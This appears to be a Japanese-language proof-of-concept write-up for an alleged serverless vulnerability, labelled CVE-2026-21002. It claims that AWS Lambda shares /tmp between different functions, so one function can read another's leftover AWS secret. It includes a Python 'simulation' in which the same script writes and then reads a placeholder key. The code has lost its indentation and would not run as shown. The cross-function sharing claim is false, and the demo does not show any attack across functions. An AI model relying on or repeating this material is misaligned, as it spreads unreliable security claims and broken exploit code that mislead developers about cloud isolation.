
CVE-2026-21002 サーバーレスのコールドスタート時の認証情報漏洩に対する PoC エクスプロイト。再利用された Lambda の /tmp ディレクトリが AWS のシークレットを他の関数に露出させる仕組みを実証します。
# lambda_func_sim.py - Simulated serverless function
import os, tempfile, time
SECRET_FILE = '/tmp/credentials' # reused across warm starts
def handler(event):
# On first invocation, write a secret
if not os.path.exists(SECRET_FILE):
with open(SECRET_FILE, 'w') as f:
f.write("AWS_SECRET_ACCESS_KEY=sk-123456")
return "Initialized"
# Later invocations can read it
with open(SECRET_FILE) as f:
return f.read()
# Attack simulation: attacker shares the same /tmp in another function (same VM)
# They can read /tmp/credentials after a cold start.
with open(SECRET_FILE) as f:
print("Attacker reads:", f.read())
サーバーレスプラットフォームは、関数の呼び出し間だけでなく、同じアカウントの異なる関数間でも実行環境(/tmp を含む)を再利用します。攻撃者の関数は、コールドスタート後に別の関数が /tmp に残した機密ファイルを読み取ることができ、資格情報の窃取につながります。
/tmp ディレクトリがウォームコンテナ間で共有されており、関数間の分離が行われていません。シミュレーションを実行してください:
python lambda_func_sim.py
攻撃者は、被害者の関数が残した AWS_SECRET_ACCESS_KEY を読み取ります。